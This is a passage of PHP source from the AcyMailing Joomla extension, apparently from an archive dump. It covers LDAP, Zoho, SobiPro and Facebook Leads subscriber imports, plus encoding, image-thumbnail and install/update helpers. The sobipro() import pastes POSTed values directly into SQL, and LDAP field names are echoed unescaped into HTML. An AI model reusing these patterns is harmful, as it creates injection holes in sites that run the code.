		$this->ldap_conn = ldap_connect($newConfig->ldap_host, $newConfig->ldap_port);
		if(!$this->ldap_conn){
			acymailing_display('Could not connect to LDAP server : '.$newConfig->ldap_host.':'.$newConfig->ldap_port, 'warning');
			return false;
		}

		ldap_set_option($this->ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);
		ldap_set_option($this->ldap_conn, LDAP_OPT_REFERRALS, 0);

		if(empty($newConfig->ldap_username)){
			$bindResult = ldap_bind($this->ldap_conn);
		}else{
			$bindResult = ldap_bind($this->ldap_conn, $newConfig->ldap_username, $newConfig->ldap_password);
		}

		if(!$bindResult){
			acymailing_display('Could not bind to the LDAP directory '.$newConfig->ldap_host.':'.$newConfig->ldap_port.' with specified username and password<br />'.ldap_error($this->ldap_conn), 'warning');
			return false;
		}

		acymailing_enqueueMessage('Successfully connected to '.$newConfig->ldap_host.':'.$newConfig->ldap_port, 'success');

		return true;
	}

	function ldap_ajax(){

		if(!$this->ldap_init()) return;

		$config = acymailing_config();

		$searchResult = @ldap_search($this->ldap_conn, trim(acymailing_getVar('string', 'ldap_basedn')), 'mail=*@*', array(), 0, 5);
		if(!$searchResult){
			acymailing_display('Could not search for elements<br />'.ldap_error($this->ldap_conn), 'warning');
			return false;
		}
		$entries = ldap_get_entries($this->ldap_conn, $searchResult);

		$fields = array();
		$dropdown = array();
		$object = new stdClass();
		$object->text = ' - - - ';
		$object->value = 0;
		$dropdown[] = $object;
		foreach($entries as $oneEntry){
			if(!is_array($oneEntry)) continue;
			foreach($oneEntry as $field => $value){
				if(!is_numeric($field)) continue;
				$value = strtolower($value);
				if($value == 'objectclass') continue;
				$fields[$value] = $value;
				$object = new stdClass();
				$object->text = $value;
				$object->value = $value;
				$dropdown[$value] = $object;
			}
		}

		if(empty($fields)){
			acymailing_display('Could not load elements<br />'.ldap_error($this->ldap_conn), 'warning');
			return false;
		}

		$subfields = acymailing_getColumns('#__acymailing_subscriber');

		$acyfields = array();
		$acyfields[] = acymailing_selectOption('', ' - - - ');
		foreach($subfields as $oneField => $typefield){
			if(in_array($oneField, array('subid', 'confirmed', 'enabled', 'key', 'userid', 'accept', 'html', 'created'))) continue;
			$acyfields[] = acymailing_selectOption($oneField, $oneField);
		}

		echo '<div class="onelineblockoptions"><span class="acyblocktitle">'.acymailing_translation('USER_FIELDS').'</span>
<table class="acymailing_table" cellspacing="1">';
		foreach($fields as $oneField){
			echo '<tr><td class="acykey" >'.$oneField.'</td><td>'.acymailing_select($acyfields, 'ldapfield['.$oneField.']', 'size="1"', 'value', 'text', $config->get('ldapfield_'.$oneField)).'</td></tr>';
		}
		echo '</table></div>';

		echo '<div class="onelineblockoptions"><span class="acyblocktitle">'.acymailing_translation('SUBSCRIPTION').'</span>';
		echo 'Subscribe the user based on the values of the field '.acymailing_select($dropdown, 'ldap_subfield', 'size="1"', 'value', 'text', $config->get('ldap_subfield')).':';
		$listClass = acymailing_get('class.list');
		$lists = $listClass->getLists('listid');

		for($i = 0; $i < 5; $i++){
			echo '<br />Subscribe to list '.acymailing_select($lists, 'ldap_sublists['.$i.']', 'class="inputbox" size="1" style="width: 150px;" ', 'listid', 'name', (int)$config->get('ldap_sublists_'.$i)).' if the value is <input style="width: 150px;" type="text" value="'.htmlspecialchars($config->get('ldap_subcond_'.$i), ENT_COMPAT, 'UTF-8').'" name="ldap_subcond['.$i.']" />';
		}
		echo '</div>';

	}

	function zohocrm($action = ''){
		$zohoHelper = acymailing_get('helper.zoho');
		$subscriberClass = acymailing_get('class.subscriber');
		$tableInfos = array_keys(acymailing_getColumns('#__acymailing_subscriber'));
		$config = acymailing_config();
		if(!in_array('zohoid', $tableInfos)){
			$query = 'ALTER TABLE #__acymailing_subscriber ADD COLUMN zohoid VARCHAR(255)';
			acymailing_query($query);
			$query = 'ALTER TABLE `#__acymailing_subscriber` ADD INDEX(`zohoid`)';
			acymailing_query($query);
		}
		if(!in_array('zoholist', $tableInfos)){
			$query = 'ALTER TABLE #__acymailing_subscriber ADD COLUMN zoholist CHAR(1)';
			acymailing_query($query);
		}

		if($action == 'update'){
			$list = $config->get('zoho_list');
			$zohoHelper->authtoken = $authtoken = $config->get('zoho_apikey');
			$zohoHelper->customView = $config->get('zoho_cv');
			$fields = unserialize($config->get('zoho_fields'));
			$confirmedUsers = $config->get('zoho_confirmed');
			$delete = $config->get('zoho_delete');
			$generateName = $config->get('zoho_generate_name', 'fromemail');
			$importnew = $config->get('zoho_importnew', 0);
		}else{
			$list = acymailing_getVar('none', 'zoho_list');
			$fields = acymailing_getVar('none', 'zoho_fields');
			$zohoHelper->authtoken = $authtoken = acymailing_getVar('none', 'zoho_apikey');
			$zohoHelper->customView = acymailing_getVar('none', 'zoho_cv');
			$overwrite = acymailing_getVar('none', 'zoho_overwrite');
			$confirmedUsers = acymailing_getVar('none', 'zoho_confirmed');
			$delete = acymailing_getVar('none', 'zoho_delete');
			$newConfig = new stdClass();
			$newConfig->zoho_fields = serialize($fields);
			$newConfig->zoho_list = $list;
			$newConfig->zoho_apikey = $zohoHelper->authtoken;
			$newConfig->zoho_cv = $zohoHelper->customView;
			$newConfig->zoho_overwrite = $overwrite;
			$newConfig->zoho_confirmed = $confirmedUsers;
			$newConfig->zoho_delete = $delete;
			$newConfig->zoho_generate_name = $generateName = acymailing_getVar('none', 'zoho_generate_name', 'fromemail');
			$newConfig->zoho_importnew = $importnew = acymailing_getVar('none', 'zoho_importnew', 0);
			$newConfig->zoho_importdate = date('Y-m-d H:i:s');
			$config->save($newConfig);
		}

		if($config->get('zoho_overwrite', false)) $this->overwrite = true;
		if(empty($authtoken)){
			acymailing_enqueueMessage('Pleaser enter a valid API key', 'notice');
			return false;
		}

		$this->allSubid = array();
		$indexDec = 200;
		$res = $zohoHelper->sendInfo($list);
		while(!empty($res)){
			$zohoUsers = $zohoHelper->parseXML($res, $list, $fields, $confirmedUsers, $generateName);
			if(empty($zohoUsers) && $zohoHelper->nbUserRead == 0) break;
			$this->_insertUsers($zohoUsers);
			if($zohoHelper->nbUserRead < 200) break; // No further iteration needed
			$zohoUsers = array();
			$zohoHelper->fromIndex = $zohoHelper->fromIndex + $indexDec;
			$zohoHelper->toIndex = $zohoHelper->toIndex + $indexDec;
			if(!empty($zohoHelper->conn)) $zohoHelper->close();
			$res = $zohoHelper->sendInfo($list);
		}
		$this->_subscribeUsers();
		if(acymailing_getVar('int', 'zoho_delete') == '1'){
			$zohoHelper->deleteAddress($this->allSubid, $list);
		}else{
			$query = 'SELECT DISTINCT b.subid FROM #__acymailing_subscriber AS a JOIN #__acymailing_subscriber AS b ON a.zohoid = b.zohoid WHERE a.zohoid IS NOT NULL AND b.subid < a.subid';
			$result = acymailing_loadResultArray($query);
			$subscriberClass->delete($result);
		}
		if(!empty($zohoHelper->conn)) $zohoHelper->close();

		$this->_displaySubscribedResult();
		if(!empty($zohoHelper->error) && acymailing_isDebug()) acymailing_enqueueMessage(acymailing_translation_sprintf($zohoHelper->error), 'notice');
	}

	function sobipro(){
		$config = acymailing_config();

		$sobiproImport = acymailing_getVar('array', 'config', array(), 'POST');
		$newConfig = new stdClass();
		$affectedRows = 0;
		$newConfig->sobipro_import = serialize($sobiproImport);
		$config->save($newConfig);

		foreach($sobiproImport as $oneImport => $oneValue){
			$query = 'SELECT fid, nid FROM #__sobipro_field WHERE fid="'.$oneValue['sobiEmail'].'" OR fid="'.$oneValue['sobiName'].'"';
			$nidResult = acymailing_loadObjectList($query, "fid");
			if(empty($nidResult[$oneValue['sobiEmail']]) OR empty($nidResult[$oneValue['sobiName']])) continue;
			$time = time();
			$query = 'INSERT IGNORE INTO '.acymailing_table('subscriber').' (`email`,`name`,`confirmed`,`created`,`enabled`,`accept`,`html`) SELECT b.baseData AS email, a.baseData AS name, 1 as confirmed, '.$time.' as created, 1 as enabled, 1 as accept, 1 as html FROM #__sobipro_field_data AS a LEFT JOIN #__sobipro_field_data AS b ON a.sid=b.sid WHERE a.`fid` = '.$nidResult[$oneValue["sobiName"]]->fid.' AND b.`fid` = '.$nidResult[$oneValue["sobiEmail"]]->fid.' AND b.baseData LIKE "%@%" AND b.baseData IS NOT NULL AND a.baseData IS NOT NULL ORDER by a.sid ';
			$affected = acymailing_query($query);
			$affectedRows += intval($affected);
		}
		acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_NEW', $affectedRows));
		$query = 'SELECT b.subid FROM `#__sobipro_field_data` as a JOIN '.acymailing_table('subscriber').' as b on a.baseData = b.email';
		$this->allSubid = acymailing_loadResultArray($query);
		$this->_subscribeUsers();
		$this->_displaySubscribedResult();
		return true;
	}

	function fbleads(){
		$config = acymailing_config();

		$token = acymailing_getVar('none', 'fbleads_token');
		$adid = acymailing_getVar('none', 'fbleads_adid');
		$formid = acymailing_getVar('none', 'fbleads_formid');
		$mincreated = acymailing_getVar('none', 'fbleads_mincreated');
		$maxcreated = acymailing_getVar('none', 'fbleads_maxcreated');
		$emailfield = acymailing_getVar('none', 'fbleads_email');
		$namefield = acymailing_getVar('none', 'fbleads_name');

		$newConfig = new stdClass();
		$newConfig->fbleads_token = $token;
		$newConfig->fbleads_adid = $adid;
		$newConfig->fbleads_formid = $formid;
		$newConfig->fbleads_mincreated = $mincreated;
		$newConfig->fbleads_maxcreated = $maxcreated;
		$newConfig->fbleads_email = $emailfield;
		$newConfig->fbleads_name = $namefield;

		$config->save($newConfig);

		if(!function_exists('curl_exec')){
			acymailing_enqueueMessage('The curl extension must be enabled on your server to be able to use this import option', 'notice');
			return false;
		}

		if(empty($token)){
			acymailing_enqueueMessage(acymailing_translation('ACY_FBLEADS_ENTER_TOKEN'), 'notice');
			return false;
		}

		if(empty($adid) && empty($formid)){
			acymailing_enqueueMessage(acymailing_translation('ACY_FBLEADS_ENTER_ID'), 'notice');
			return false;
		}

		if(empty($emailfield)){
			acymailing_enqueueMessage('You must at least specify the email field\'s code', 'notice');
			return false;
		}

		$filtering = array();

		if(!empty($mincreated)){
			$mincreated = strtotime($mincreated);
			if(empty($mincreated) || $mincreated == -1){
				acymailing_enqueueMessage(acymailing_translation_sprintf('FIELD_CONTENT_VALID', '"'.acymailing_translation('ACY_FBLEADS_MINCREATED').'"'), 'notice');
			}else{
				$filter = new stdClass();
				$filter->field = "time_created";
				$filter->operator = "GREATER_THAN";
				$filter->value = $mincreated;

				$filtering[] = $filter;
			}
		}

		if(!empty($maxcreated)){
			$maxcreated = strtotime($maxcreated);
			if(empty($maxcreated) || $maxcreated == -1){
				acymailing_enqueueMessage(acymailing_translation_sprintf('FIELD_CONTENT_VALID', '"'.acymailing_translation('ACY_FBLEADS_MAXCREATED').'"'), 'notice');
			}else{
				$filter = new stdClass();
				$filter->field = "time_created";
				$filter->operator = "LESS_THAN";
				$filter->value = $maxcreated;

				$filtering[] = $filter;
			}
		}

		if(empty($formid)) $formid = $adid;
		$url = 'https://graph.facebook.com/v2.8/'.$formid.'/leads?limit=1000000&access_token='.$token;
		if(!empty($filtering)) $url .= '&filtering='.urlencode(json_encode($filtering));

		$curl = curl_init();
		curl_setopt($curl, CURLOPT_URL,$url);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($curl, CURLOPT_COOKIESESSION, true);
		$return = curl_exec($curl);

		if(!$return){
			acymailing_enqueueMessage('An unkown error occurred: '.curl_error($curl), 'error');
			curl_close($curl);
			return true;
		}

		curl_close($curl);
		
		$return = json_decode($return, true);
		
		if(!empty($return['error']['message'])){
			acymailing_enqueueMessage($return['error']['message'], 'error');
			return true;
		}

		if(empty($return['data'])) {
			acymailing_enqueueMessage(acymailing_translation('ACY_FBLEADS_NONE'), 'info');
			return true;
		}

		$leads = '';
		$time = time();
		foreach($return['data'] as $oneLead){
			$email = '';
			$name = '';
			foreach($oneLead['field_data'] as $oneField){
				if($oneField['name'] == $emailfield) $email = $oneField['values'][0];
				if(!empty($namefield) && $oneField['name'] == $namefield) $name = $oneField['values'][0];
			}

			$leads .= '('.acymailing_escapeDB($email).(empty($namefield) ? '' : ','.acymailing_escapeDB($name)).','.$time.'),';
			$emails[] = acymailing_escapeDB($email);
		}
		$leads = rtrim($leads, ',');

		$affectedRows = acymailing_query('INSERT IGNORE INTO '.acymailing_table('subscriber').' (`email`'.(empty($namefield) ? '' : ',`name`').',`created`) VALUES '.$leads);

		acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_NEW', $affectedRows));
		$this->allSubid = acymailing_loadResultArray('SELECT subid FROM '.acymailing_table('subscriber').' WHERE `created` = '.$time);
		$this->_subscribeUsers();
		$this->_displaySubscribedResult();
		return true;
	}
}
com_acymailing/helpers/encoding.php000060400000004644152455305300013466 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class acyencodingHelper{

	function change($data, $input, $output){

		$input = strtoupper(trim($input));
		$output = strtoupper(trim($output));

		$supportedEncodings = array("BIG5", "ISO-8859-1", "ISO-8859-2", "ISO-8859-3", "ISO-8859-4", "ISO-8859-5", "ISO-8859-6", "ISO-8859-7", "ISO-8859-8", "ISO-8859-9", "ISO-8859-10", "ISO-8859-13", "ISO-8859-14", "ISO-8859-15", "ISO-2022-JP", "US-ASCII", "UTF-7", "UTF-8", "UTF-16", "WINDOWS-1251", "WINDOWS-1252", "ARMSCII-8", "ISO-8859-16");
		if(!in_array($input, $supportedEncodings)){
			acymailing_enqueueMessage('Encoding not supported: '.$input, 'error');
		}elseif(!in_array($output, $supportedEncodings)){
			acymailing_enqueueMessage('Encoding not supported: '.$output, 'error');
		}

		if($input == $output) return $data;

		if($input == 'UTF-8' && $output == 'ISO-8859-1'){
			$data = str_replace(array('€', '„', '“'), array('EUR', '"', '"'), $data);
		}

		if(function_exists('iconv')){
			set_error_handler('acymailing_error_handler_encoding');
			$encodedData = iconv($input, $output."//IGNORE", $data);
			restore_error_handler();
			if(!empty($encodedData) && !acymailing_error_handler_encoding('result')){
				return $encodedData;
			}
		}

		if(function_exists('mb_convert_encoding')){
			return mb_convert_encoding($data, $output, $input);
		}

		if($input == 'UTF-8' && $output == 'ISO-8859-1'){
			return utf8_decode($data);
		}

		if($input == 'ISO-8859-1' && $output == 'UTF-8'){
			return utf8_encode($data);
		}

		return $data;
	}

	function detectEncoding(&$content){

		if(!function_exists('mb_check_encoding')) return '';

		$toTest = array('UTF-8');
		
		$tag = acymailing_getLanguageTag();

		if($tag == 'el-GR'){
			$toTest[] = 'ISO-8859-7';
		}
		$toTest[] = 'ISO-8859-1';
		$toTest[] = 'ISO-8859-2';
		$toTest[] = 'Windows-1252';

		foreach($toTest as $oneEncoding){
			if(mb_check_encoding($content, $oneEncoding)) return $oneEncoding;
		}

		return '';
	}

}//endclass

function acymailing_error_handler_encoding($errno, $errstr = ''){
	static $error = false;
	if(is_string($errno) && $errno == 'result'){
		$currentError = $error;
		$error = false;
		return $currentError;
	}
	$error = true;
	return true;
}
com_acymailing/helpers/acypict.php000060400000013323152455305300013326 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class acypictHelper{

	var $error;
	var $maxHeight;
	var $maxWidth;
	var $destination;

	function __construct(){
		
	}

	function removePictures($text){
		$return = preg_replace('#< *img[^>]*>#Ui','',$text);
		$return = preg_replace('#< *div[^>]*class="jce_caption"[^>]*>[^<]*(< *div[^>]*>[^<]*<\/div>)*[^<]*<\/div>#Ui','',$return);
		return $return;
	}

	function available(){
		if(!function_exists('gd_info')){
			$this->error = 'The GD library is not installed.';
			return false;
		}
		if(!function_exists('getimagesize')){
			$this->error = 'Cound not find getimagesize function';
			return false;
		}
		if(!function_exists('imagealphablending')){
			$this->error = "Please make sure you're using GD 2.0.1 or later version";
			return false;
		}
		return true;
	}

	function resizePictures($input){
		$this->destination = ACYMAILING_MEDIA.'resized'.DS;
		acymailing_createDir($this->destination);
		$content = acymailing_absoluteURL($input);

		preg_match_all('#<img([^>]*)>#Ui',$content,$results);
		if(empty($results[1])) return $input;

		$replace = array();

		foreach($results[1] as $onepicture){
			if(strpos($onepicture,'donotresize') !== false) continue;

			if(!preg_match('#src="([^"]*)"#Ui',$onepicture,$path)) continue;
			$imageUrl = $path[1];

			$base = str_replace(array('http://www.','https://www.','http://','https://'),'',ACYMAILING_LIVE);
			$replacements = array('https://www.'.$base,'http://www.'.$base,'https://'.$base,'http://'.$base);
			foreach($replacements as $oneReplacement){
				if(strpos($imageUrl,$oneReplacement) === false) continue;
				$imageUrl = str_replace(array($oneReplacement,'/'),array(ACYMAILING_ROOT,DS),urldecode($imageUrl));
				break;
			}

			$newPicture = $this->generateThumbnail($imageUrl);

			if(!$newPicture){
				$newDimension = 'max-width:'.$this->maxWidth.'px;max-height:'.$this->maxHeight.'px;';
				if(strpos($onepicture, 'style="') !== false){
					$replace[$onepicture] = preg_replace('#style="([^"]*)"#Uis', 'style="'.$newDimension.'$1"', $onepicture);
				}else{
					$replace[$onepicture] = ' style="'.$newDimension.'" '.$onepicture;
				}
				continue;
			}

			$newPicture['file'] = preg_replace('#^'.preg_quote(ACYMAILING_ROOT,'#').'#i',ACYMAILING_LIVE,$newPicture['file']);
			$newPicture['file'] = str_replace(DS,'/',$newPicture['file']);
			$replaceImage = array();
			$replaceImage[$path[1]] = $newPicture['file'];
			if(preg_match_all('#(width|height)(:|=) *"?([0-9]+)#i',$onepicture,$resultsSize)){
				foreach($resultsSize[0] as $i => $oneArg){
					$newVal = (strtolower($resultsSize[1][$i]) == 'width') ? $newPicture['width'] : $newPicture['height'];
					if($newVal > $resultsSize[3][$i]) continue;
					$replaceImage[$oneArg] = str_replace($resultsSize[3][$i],$newVal,$oneArg);
				}
			}

			$replace[$onepicture] = str_replace(array_keys($replaceImage),$replaceImage,$onepicture);

		}

		if(!empty($replace)){
			$input = str_replace(array_keys($replace),$replace,$content);
		}

		return $input;
	}

	function generateThumbnail($picturePath){

 		list($currentwidth, $currentheight) = getimagesize($picturePath);
 		if(empty($currentwidth) || empty($currentheight)) return false;
 		$factor = min($this->maxWidth/$currentwidth,$this->maxHeight/$currentheight);
		if($factor>=1) return false;
		$newWidth = round($currentwidth*$factor);
		$newHeight = round($currentheight*$factor);

		if(strpos($picturePath,'http') === 0){
			$filename = substr($picturePath,strrpos($picturePath,'/')+1);
		}else{
			$filename = basename($picturePath);
		}

		if(substr($picturePath,0,10) == 'data:image'){
			preg_match('#data:image/([^;]{1,5});#',$picturePath,$resultextension);
			if(empty($resultextension[1])) return false;
			$extension = $resultextension[1];
			$name = md5($picturePath);
		}else{
			$extension = strtolower(substr($filename,strrpos($filename,'.')+1));
			$name = strtolower(substr($filename,0,strrpos($filename,'.')));
			$name .= substr(@filemtime($picturePath),-4);
		}

		$newImage = md5($picturePath).'-'.$name.'thumb'.$this->maxWidth.'x'.$this->maxHeight.'.'.$extension;
		if(empty($this->destination)){
			$newFile = dirname($picturePath).DS.$newImage;
		}else{
			$newFile = $this->destination.$newImage;
		}

		if(file_exists($newFile)) return array('file' => $newFile,'width' => $newWidth,'height' => $newHeight);

		switch($extension){
			case 'gif':
				$img = ImageCreateFromGIF($picturePath);
				break;
			case 'jpg':
			case 'jpeg':
				$img = ImageCreateFromJPEG($picturePath);
				break;
			case 'png':
				$img = ImageCreateFromPNG($picturePath);
				break;
			default:
				return false;
		}

		$thumb = ImageCreateTrueColor($newWidth, $newHeight);

		if(in_array($extension,array('gif','png'))){
			imagealphablending($thumb, false);
			imagesavealpha($thumb,true);
		}

		if(function_exists("imagecopyresampled")){
			imagecopyresampled($thumb, $img, 0, 0, 0, 0, $newWidth, $newHeight,$currentwidth, $currentheight);
		}else{
			ImageCopyResized($thumb, $img, 0, 0, 0, 0, $newWidth, $newHeight,$currentwidth, $currentheight);
		}
		ob_start();
		switch($extension){
			case 'gif':
				$status = imagegif($thumb);
				break;
			case 'jpg':
			case 'jpeg':
				$status = imagejpeg($thumb,null,100);
				break;
			case 'png':
				$status = imagepng($thumb,null,0);
				break;
		}
		$imageContent = ob_get_clean();
		$status = $status && acymailing_writeFile($newFile,$imageContent);
		imagedestroy($thumb);
		imagedestroy($img);

		if(!$status) $newFile = $picturePath;

		return array('file' => $newFile,'width' => $newWidth,'height' => $newHeight);
	}
}

com_acymailing/helpers/update.php000060400000147045152455305300013165 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class acyupdateHelper{

	var $db;
	var $errors = array();
	var $bouncerulesversion = 13;

	function __construct(){
		global $acymailingCmsUserVars;
		$this->cmsUserVars = $acymailingCmsUserVars;
	}

	function fixDoubleExtension(){

		if(!ACYMAILING_J16) return;

		$results = acymailing_loadObjectList("SELECT extension_id FROM #__extensions WHERE type='component' AND element = 'com_acymailing' AND extension_id > 0 ORDER BY client_id ASC, extension_id ASC");
		if(empty($results) || count($results) == 1) return;

		$validExtension = reset($results)->extension_id;

		$toDelete = array();
		for($i = 1; $i < count($results); $i++){
			$toDelete[] = $results[$i]->extension_id;
		}


		$tablesToUpdate = array('#__menu' => 'component_id');
		foreach($tablesToUpdate as $table => $field){
			acymailing_query("UPDATE ".$table." SET ".$field." = ".intval($validExtension)." WHERE ".$field." IN (".implode(',', $toDelete).")");
		}
		$tablesToCheck = array('#__updates' => 'extension_id', '#__update_sites_extensions' => 'extension_id', '#__extensions' => 'extension_id');
		foreach($tablesToCheck as $table => $field){
			acymailing_query("DELETE FROM ".$table." WHERE ".$field." IN (".implode(',', $toDelete).")");
		}
	}

	function fixMenu(){
		if(!ACYMAILING_J16) return;

		$extensionid = acymailing_loadResult("SELECT extension_id FROM #__extensions WHERE type='component' AND element LIKE '%acymailing' LIMIT 1");
		if(empty($extensionid)) return;

		acymailing_query("UPDATE #__menu SET component_id = ".intval($extensionid).",published = 1 WHERE link LIKE '%com_acymailing%' AND component_id = 0 AND client_id = 1");
	}

	function installTables(){
		echo '<h2 style="color:red">The installation failed, some tables are missing, we will try to create them now...</h2>';

		$queries = file_get_contents(ACYMAILING_BACK.'tables.sql');
		$queriesTable = explode("CREATE TABLE", $queries);

		$success = true;
		foreach($queriesTable as $oneQuery){
			$oneQuery = trim($oneQuery);
			if(empty($oneQuery)) continue;
			$res = acymailing_query("CREATE TABLE ".$oneQuery);
			if($res === false){
				echo '<br /><br /><span style="color:red">Error creating table : '.acymailing_getDBError().'</span><br />';
				$success = false;
			}else{
				echo '<br /><span style="color:green">Table successfully created</span>';
			}
		}

		if($success){
			echo '<h2 style="color:orange">Please install again AcyMailing via the Joomla Extensions manager, the tables are now created so the installation will work</h2>';
		}else{
			echo '<h2 style="color:red">Some tables could not be created, please fix the above issues and then install again AcyMailing.</h2>';
		}
	}

	function addUpdateSite(){
		$config = acymailing_config();

		$newconfig = new stdClass();
		$newconfig->website = ACYMAILING_LIVE;
		$newconfig->max_execution_time = 0;

		$config->save($newconfig);

		if(!ACYMAILING_J16) return false;

		acymailing_query("DELETE FROM #__updates WHERE element = 'com_acymailing'");

		$query = "SELECT update_site_id FROM #__update_sites WHERE location LIKE '%acymailing%' AND type LIKE 'extension'";
		$update_site_id = acymailing_loadResult($query);

		$object = new stdClass();
		$object->name = 'AcyMailing';
		$object->type = 'extension';
		$object->location = 'http://www.acyba.com/component/updateme/updatexml/component-acymailing/level-'.$config->get('level').'/file-extension.xml';

		$object->enabled = 1;

		if(empty($update_site_id)){
			$update_site_id = acymailing_insertObject("#__update_sites", $object);
		}else{
			$object->update_site_id = $update_site_id;
			acymailing_updateObject("#__update_sites", $object, 'update_site_id');
		}

		$query = "SELECT extension_id FROM #__extensions WHERE `name` LIKE 'acymailing' AND type LIKE 'component'";
		$extension_id = acymailing_loadResult($query);
		if(empty($update_site_id) OR empty($extension_id)) return false;

		$query = 'INSERT IGNORE INTO #__update_sites_extensions (update_site_id, extension_id) values ('.$update_site_id.','.$extension_id.')';
		acymailing_query($query);
		return true;
	}

	function installFields(){
		$query = "INSERT IGNORE INTO `#__acymailing_fields` (`fieldname`, `namekey`, `type`, `value`, `published`, `ordering`, `options`, `core`, `required`, `backend`, `frontcomp`, `default`, `listing`, `frontlisting`, `frontform`) VALUES
		('NAMECAPTION', 'name', 'text', '', 1, 1, '', 1, 1, 1, 1, '',1,1,1),
		('EMAILCAPTION', 'email', 'text', '', 1, 2, '', 1, 1, 1, 1, '',1,1,1),
		('RECEIVE', 'html', 'radio', '0::JOOMEXT_TEXT\n1::HTML', 1, 3, '', 1, 1, 1, 1, '1',1,0,1);";
		acymailing_query($query);
	}

	function installNotifications(){
		$notifications = acymailing_loadResultArray('SELECT `alias` FROM `#__acymailing_mail` WHERE `type` = \'notification\' OR `type` = \'article\'');

		$data = array();

		if(!in_array('notification_created', $notifications)) $data[] = "('New Subscriber on your website : {user:email}', '<p>Hello {subtag:name},</p><p>A new user has been created in AcyMailing : </p><blockquote><p>Name : {user:name}</p><p>Email : {user:email}</p><p>IP : {user:ip} </p><p>Subscription : {user:subscription}</p></blockquote>', '', 1, 'notification', 0,'notification_created', 1,0,NULL,'')";
		if(!in_array('notification_unsuball', $notifications)) $data[] = "('A User unsubscribed from all your lists : {user:email}', '<p>Hello {subtag:name},</p><p>The user {user:name} : {user:email} unsubscribed from all your lists</p><p>Subscription : {user:subscription}</p><p>{survey}</p>', '', 1, 'notification', 0, 'notification_unsuball', 1,0,NULL,'')";
		if(!in_array('notification_unsub', $notifications)) $data[] = "('A User unsubscribed : {user:email}', '<p>Hello {subtag:name},</p><p>The user {user:name} : {user:email} unsubscribed from your list</p><p>Subscription : {user:subscription}</p><p>{survey}</p>', '', 1, 'notification', 0, 'notification_unsub', 1,0,NULL,'')";
		if(!in_array('notification_refuse', $notifications)) $data[] = "('A User refuses to receive e-mails from your website : {user:email}', '<p>The User {user:name} : {user:email} refuses to receive any e-mail anymore from your website.</p><p>Subscription : {user:subscription}</p><p>{survey}</p>', '', 1, 'notification',0,'notification_refuse', 1,0,NULL,'')";
		if(!in_array('notification_contact', $notifications)) $data[] = "('New contact from your website : {user:email}', '<p>Hello {subtag:name},</p><p>A user submitted the form : </p><blockquote><p>Name : {user:name}</p><p>Email : {user:email}</p><p>IP : {user:ip} </p><p>Subscription : {user:subscription}</p></blockquote>', '', 1, 'notification', 0,'notification_contact', 1,0,NULL,'')";
		if(!in_array('notification_contact_menu', $notifications)) $data[] = "('A user subscribed or modified his subscription : {user:email}', '<p>Hello {subtag:name},</p><p>A user submitted the form : </p><blockquote><p>Name : {user:name}</p><p>Email : {user:email}</p><p>IP : {user:ip} </p><p>Subscription : {user:subscription}</p></blockquote>', '', 1, 'notification', 0,'notification_contact_menu', 1,0,NULL,'')";
		if(!in_array('notification_confirm', $notifications)) $data[] = "('A user confirmed his subscription : {user:email}', '<p>Hello {subtag:name},</p><p>A user confirmed his subscription : </p><blockquote><p>Name : {user:name}</p><p>Email : {user:email}</p><p>IP : {user:ip} </p><p>Subscription : {user:subscription}</p></blockquote>', '', 1, 'notification', 0,'notification_confirm', 1,0,NULL,'')";

		$conftemplate = (int)acymailing_loadResult("SELECT tempid FROM #__acymailing_template WHERE namekey = 'newsletter-4'");

		if(!in_array('confirmation', $notifications)){
			$bodyNotif = $this->getFormatedNotification('{subtag:name|ucfirst}, {trans:PLEASE_CONFIRM_SUB}', '<h1>Hello {subtag:name|ucfirst},</h1>
			<p>{trans:CONFIRM_MSG}<br /><br />{trans:CONFIRM_MSG_ACTIVATE}</p>
			<br />
			<p style="text-align:center;"><strong>{confirm}{trans:CONFIRM_SUBSCRIPTION}{/confirm}</strong></p>');
			$data[] = "('{subtag:name|ucfirst}, {trans:PLEASE_CONFIRM_SUB}', ".acymailing_escapeDB($bodyNotif).", '',1, 'notification', 0, 'confirmation', 1,".$conftemplate.',\'a:3:{s:6:"action";s:7:"confirm";s:13:"actionbtntext";s:28:"{trans:CONFIRM_SUBSCRIPTION}";s:9:"actionurl";s:19:"{confirm}{/confirm}";}\',"")';
		}else{
			$confirmParams = acymailing_loadResult('SELECT `params` FROM `#__acymailing_mail` WHERE `alias` = \'confirmation\'');
			if(empty($confirmParams)){
				acymailing_query('UPDATE `#__acymailing_mail` SET `params` = \'a:3:{s:6:"action";s:7:"confirm";s:13:"actionbtntext";s:28:"{trans:CONFIRM_SUBSCRIPTION}";s:9:"actionurl";s:19:"{confirm}{/confirm}";}\' WHERE `alias` = \'confirmation\'');
			}
		}

		if(!in_array('report', $notifications)) $data[] = "('AcyMailing Cron Report {mainreport}', '<p>{report}</p><p>{detailreport}</p>', '',1, 'notification',0,  'report', 1,0,NULL,'')";
		if(!in_array('modif', $notifications)) $data[] = "('Modify your subscription', '<p>Hello {subtag:name}, </p><p>You requested some changes on your subscription,</p><p>Please {modify}click here{/modify} to be identified as the owner of this account and then modify your subscription.</p>', '',1, 'notification', 0, 'modif', 1,0,NULL,'')";

		if(!in_array('send-in-article', $notifications)){
			$body = $this->getFormatedNotification('{joomlacontent:current| type:title}', '{joomlacontent:current| type:intro| format:TOP_LEFT| pict:1| link}');
			$data[] = "('{joomlacontent:current| type:title}', ".acymailing_escapeDB($body).", '', 1, 'article', 0, 'send-in-article', 1, ".$conftemplate.", NULL, '')";
		}

